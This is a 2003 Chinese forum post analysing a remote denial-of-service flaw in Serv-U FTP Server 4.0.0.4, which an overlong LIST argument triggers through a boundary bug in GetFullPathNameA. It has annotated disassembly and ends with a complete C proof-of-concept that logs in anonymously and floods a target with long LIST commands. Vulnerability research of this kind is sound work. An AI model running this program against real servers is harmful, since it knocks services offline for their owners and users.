|
論壇說明 |
歡迎您來到『史萊姆論壇』 ^___^ 您目前正以訪客的身份瀏覽本論壇,訪客所擁有的權限將受到限制,您可以瀏覽本論壇大部份的版區與文章,但您將無法參與任何討論或是使用私人訊息與其他會員交流。若您希望擁有完整的使用權限,請註冊成為我們的一份子,註冊的程序十分簡單、快速,而且最重要的是--註冊是完全免費的! 請點擊這裡:『註冊成為我們的一份子!』 |
|
主題工具 | 顯示模式 |
2003-10-30, 09:27 AM | #1 |
榮譽會員
|
Serv-U FTP Server遠端拒絕服務漏洞以及原因分析
涉及程序版本:
Serv-U FTP Server v4.0.0.4(以前版本也可能存在該漏洞,沒有測試過) 漏洞類型: 遠端拒絕服務 漏洞描述: 前幾天使用了一下RhinoSoft出品的Serv-U FTP,感覺還不錯,簡單 測試了一下其安全性,發現當用匿名用戶登入後,傳送LIST NNNN...指令, 後跟的字串數量達到253字元時,服務端報錯,並且錯誤對話視窗無法關閉, 只能重啟Serv-U FTP服務才行。 由於是由長字串串造成的,我一開始還認為是溢出之類的漏洞。後來 經過深入分析程序彙編程式碼,發現這不是一般的溢出,甚至可以說不是 Serv-U的本身程序的問題,而是一個WIN32 API的設計上的BUG。 GetFullPathNameA這個API用來獲取指定文件的路徑,但是它在處理 長檔案名時沒有考慮好邊界條件,造成可能訪問到不存在的記憶體位址, 在Serv-U的例子裡就造成了拒絕服務攻擊。本來一般像這種訪問不存在 記憶體的漏洞,程序的異常處理都可以恢復過來的,不至於造成程序崩潰, 但是正是由於這個問題是由系統DLL出錯而造成的,而不是應用程式本身 的問題,所以應用程式的異常處理例程無法正確處理該問題,從而導致了 服務端程序崩掉。 不僅僅是LIST指令受該漏洞影響,所有後跟參數是檔案名的指令都有 這個問題,例如MDTM等等。另外觸發這個漏洞的串長度是根據ftp根目錄的 設定不同而定的,我寫了個程序來測試該漏洞,程序見後面。 由於這個漏洞無法用來得到權限,所以也懶得報告到BUGTRAQ上去了, 不過分析漏洞的程序還是讓我有點收穫,起碼知道了編程中哪些地方是程 序員容易忽視而造成安全漏洞的地方,微軟的程序員也一樣犯這樣的錯誤。 程序分析: 下面是通過對該程序的反彙編程式碼的分析來解釋造成該漏洞的原因。 由於反彙編出的程式碼有幾十M之大,分析的時候難免出錯,敬請各位發現 問題的同志指出。 Serv-U在接受到LIST NNN...指令後對檔案名進行處理,會進入下面 這一段程序: * Referenced by a CALL at Addresses: |:005A4A8F , :005A4C97 | :005A338C 55 push ebp :005A338D 8BEC mov ebp, esp :005A338F 83C4F8 add esp, FFFFFFF8 :005A3392 53 push ebx :005A3393 56 push esi :005A3394 57 push edi :005A3395 8B7D08 mov edi, dword ptr [ebp+08] :005A3398 6804010000 push 00000104 :005A339D E802F9FEFF call 00592CA4 :005A33A2 59 pop ecx :005A33A3 8BD8 mov ebx, eax :005A33A5 85C0 test eax, eax :005A33A7 7507 jne 005A33B0 :005A33A9 33C0 xor eax, eax :005A33AB E9A9000000 jmp 005A3459 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:005A33A7(C) | :005A33B0 8D55FC lea edx, dword ptr [ebp-04] :005A33B3 52 push edx :005A33B4 53 push ebx :005A33B5 6804010000 push 00000104 :005A33BA 8B4D0C mov ecx, dword ptr [ebp+0C] :005A33BD 51 push ecx ;這裡是ftp跟目錄加上LIST參數 * Reference To: KERNEL32.GetFullPathNameA, Ord:0000h | :005A33BE E89F630100 Call 005B9762 ;使用GetFullPathNameA ;------------------------------------------------------------------------------------------- ;使用到Kernel32.dll裡的GetFullPathNameA函數 Exported fn(): GetFullPathNameA - Ord:012Ah :77E80DBD 55 push ebp :77E80DBE 8BEC mov ebp, esp :77E80DC0 83EC24 sub esp, 00000024 :77E80DC3 53 push ebx :77E80DC4 56 push esi :77E80DC5 8B7514 mov esi, dword ptr [ebp+14] :77E80DC8 33DB xor ebx, ebx :77E80DCA F7DE neg esi :77E80DCC 57 push edi :77E80DCD 8D45FC lea eax, dword ptr [ebp-04] :77E80DD0 FF7508 push [ebp+08] :77E80DD3 895DF8 mov dword ptr [ebp-08], ebx :77E80DD6 1BF6 sbb esi, esi :77E80DD8 23F0 and esi, eax :77E80DDA 8D45EC lea eax, dword ptr [ebp-14] :77E80DDD 50 push eax :77E80DDE E81E89FEFF call 77E69701 :77E80DE3 85C0 test eax, eax :77E80DE5 0F84039C0000 je 77E8A9EE :77E80DEB 64A118000000 mov eax, dword ptr fs:[00000018] :77E80DF1 8B4030 mov eax, dword ptr [eax+30] :77E80DF4 BF0A020000 mov edi, 0000020A ;長度限制,不正確!!! ;這裡0x20A是分配的堆的大小,同時也作為後邊判斷RtlGetFullPathName_U ;返回長度的比較長度的限制 :77E80DF9 57 push edi :77E80DFA FF35B0F7EB77 push dword ptr [77EBF7B0] :77E80E00 FF7018 push [eax+18] ;分配0x20A字元的記憶體堆 * Reference To: NTDLL.RtlAllocateHeap, Ord:014Ah | :77E80E03 FF150410E677 Call dword ptr [77E61004] :77E80E09 3BC3 cmp eax, ebx :77E80E0B 8945F4 mov dword ptr [ebp-0C], eax :77E80E0E 0F84C69B0000 je 77E8A9DA :77E80E14 56 push esi :77E80E15 50 push eax :77E80E16 6808020000 push 00000208 :77E80E1B FF75F0 push [ebp-10] ;RtlGetFullPathName_U用來得到路徑的UNICODE字串串,這個函數是由長度限制的, ;當長度大於0x208的時候無法正確得到路徑,即無法正確拷貝串到ebp-0C中。 * Reference To: NTDLL.RtlGetFullPathName_U, Ord:01E7h | :77E80E1E FF15AC10E677 Call dword ptr [77E610AC] :77E80E24 3BC7 cmp eax, edi ;這個判斷不對,應該跳到錯誤處理去! ;但是由於前面的限制是0x20A,所以當用0x20A長的字串串時就會判斷出錯, ;不會進入錯誤處理去,而是繼續對沒有得到內容的堆記憶體進行後面的操作, ;這就是出錯的根源 :77E80E26 894508 mov dword ptr [ebp+08], eax :77E80E29 0F87CC9B0000 ja 77E8A9FB * Reference To: NTDLL.RtlUnicodeToMultiByteSize, Ord:0294h | :77E80E2F 8B356010E677 mov esi, dword ptr [77E61060] :77E80E35 50 push eax :77E80E36 FF75F4 push [ebp-0C] :77E80E39 8D4508 lea eax, dword ptr [ebp+08] :77E80E3C 50 push eax :77E80E3D FFD6 call esi ;call RtlUnicodeToMultiByteSize :77E80E3F 3BC3 cmp eax, ebx :77E80E41 0F8CAE9B0000 jl 77E8A9F5 :77E80E47 395D08 cmp dword ptr [ebp+08], ebx :77E80E4A 0F8491000000 je 77E80EE1 :77E80E50 395D14 cmp dword ptr [ebp+14], ebx :77E80E53 7420 je 77E80E75 :77E80E55 8B45FC mov eax, dword ptr [ebp-04] :77E80E58 3BC3 cmp eax, ebx :77E80E5A 7419 je 77E80E75 :77E80E5C 2B45F4 sub eax, dword ptr [ebp-0C] :77E80E5F D1F8 sar eax, 1 :77E80E61 D1E0 shl eax, 1 :77E80E63 50 push eax :77E80E64 8D45F8 lea eax, dword ptr [ebp-08] :77E80E67 FF75F4 push [ebp-0C] :77E80E6A 50 push eax :77E80E6B FFD6 call esi ;call RtlUnicodeToMultiByteSize----出錯!!! ;第2次使用RtlUnicodeToMultiByteSize的時候會把上面的錯誤顯現出來 :77E80E6D 3BC3 cmp eax, ebx :77E80E6F 0F8C809B0000 jl 77E8A9F5 ;------------------------------------------------------------------------------------------- 最後一個call esi使用這裡 Exported fn(): RtlUnicodeToMultiByteSize - Ord:0296h :77F83EA4 8B44240C mov eax, dword ptr [esp+0C] :77F83EA8 56 push esi :77F83EA9 33F6 xor esi, esi :77F83EAB D1E8 shr eax, 1 :77F83EAD 803D14F3FC7700 cmp byte ptr [77FCF314], 00 :77F83EB4 0F8598D30100 jne 77FA1252 ;會轉到77FA1252去執行 :77F83EBA 8B4C2408 mov ecx, dword ptr [esp+08] :77F83EBE 8901 mov dword ptr [ecx], eax :77F83EC0 33C0 xor eax, eax :77F83EC2 5E pop esi :77F83EC3 C20C00 ret 000C ;------------------------------------------------------------------------------------------- 跳到這裡 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:77F83EB4(C) | :77FA1252 8BC8 mov ecx, eax :77FA1254 48 dec eax :77FA1255 85C9 test ecx, ecx :77FA1257 7424 je 77FA127D :77FA1259 8B4C240C mov ecx, dword ptr [esp+0C] :77FA125D 57 push edi :77FA125E 8D7801 lea edi, dword ptr [eax+01] * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:77FA127A(C) | :77FA1261 0FB701 movzx eax, word ptr [ecx] ;這裡會有個循環不斷的取ecx的值,也就是前邊RtlAllocateHeap分配的那個堆, ;因為前面那個堆裡沒有正確存放內容,所以會造成不跳出循環,從而一直取到 ;記憶體頁面不存在的地方,即0x00152000(也可能是別的值,由堆位址所定)。 :77FA1264 8B155404FD77 mov edx, dword ptr [77FD0454] :77FA126A 41 inc ecx :77FA126B 41 inc ecx :77FA126C 668B0442 mov ax, word ptr [edx+2*eax] :77FA1270 33D2 xor edx, edx :77FA1272 8AD4 mov dl, ah :77FA1274 84D2 test dl, dl :77FA1276 7510 jne 77FA1288 :77FA1278 46 inc esi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:77FA128A(U) | :77FA1279 4F dec edi :77FA127A 75E5 jne 77FA1261 :77FA127C 5F pop edi * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:77FA1257(C) | :77FA127D 8B442408 mov eax, dword ptr [esp+08] :77FA1281 8930 mov dword ptr [eax], esi :77FA1283 E9382CFEFF jmp 77F83EC0 * Referenced by a (U)nconditional or (C)onditional Jump at Address: |:77FA1276(C) | :77FA1288 46 inc esi :77FA1289 46 inc esi :77FA128A EBED jmp 77FA1279 漏洞測試程序: /* Serv-U FTP Server 4.0 remote DoS by isno(isno@xfocus.org) */ #include <stdio.h> #include <winsock.h> #pragma comment (lib,"Ws2_32") void main(int argc, char *argv[]) { //anonymous ftp user and passwd char user[] = "USER ftp\r\n"; char pass[] = "PASS bug@rhinosoft.com\r\n"; char buff[1024]; int s, i; struct hostent *ht; struct sockaddr_in sin; WSADATA WSAData; if(argc != 2) { printf("Usage: %s host\r\n",argv[0]); exit(0); } if(WSAStartup (MAKEWORD(1,1), &WSAData) != 0) { printf("WSAStartup failed.\n"); WSACleanup(); exit(1); } if((ht = gethostbyname(argv[1])) == 0) { printf("cannot resolve %s\n",argv[1]); exit(1); } sin.sin_port = htons(21); sin.sin_family = AF_INET; sin.sin_addr = *((struct in_addr *)ht->h_addr); if((s = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("cannot setup socket\r\n"); exit(1); } if((connect(s, (struct sockaddr *) &sin, sizeof(sin))) == -1) { printf("cannot connect\r\n"); exit(1); } memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1) { printf("cannot recv\r\n"); exit(1); } printf("%s\r\n",buff); printf("%s\r\n",user); memset(buff,0,sizeof(buff)); if(send(s, user, strlen(user), 0) == -1) { printf("cannot send\r\n"); exit(1); } memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1) { printf("cannot recv\r\n"); exit(1); } printf("%s\r\n",buff); printf("%s\r\n",pass); memset(buff,0,sizeof(buff)); if(send(s, pass, strlen(pass), 0) == -1) { printf("cannot send\r\n"); exit(1); } memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1) { printf("cannot recv\r\n"); exit(1); } printf("%s\r\n",buff); //try long para from 200 to 300 bytes for(i=200;i<300;i++) { printf("send LIST NNN...(%d bytes)\r\n",i); memset(buff,0,sizeof(buff)); memcpy(buff,"LIST ",5); memset(buff+5,0x4e,i); memcpy(buff+5+i,"\r\n",2); if(send(s, buff, strlen(buff), 0) == -1) { printf("cannot send\r\n"); exit(1); } memset(buff,0,sizeof(buff)); if(recv(s, buff, 200, 0) == -1) { printf("0verflow!\r\n"); return; } } closesocket(s); printf("target is not vuln\r\n"); return; } |
送花文章: 3,
|
|
|
相似的主題 | ||||
主題 | 主題作者 | 討論區 | 回覆 | 最後發表 |
FTP伺服器架設速成手冊 | psac | 應用軟體使用技術文件 | 0 | 2006-02-08 02:07 PM |
FTP傳輸協定對防火牆安全性的挑戰 | psac | 應用軟體使用技術文件 | 0 | 2003-11-13 03:32 AM |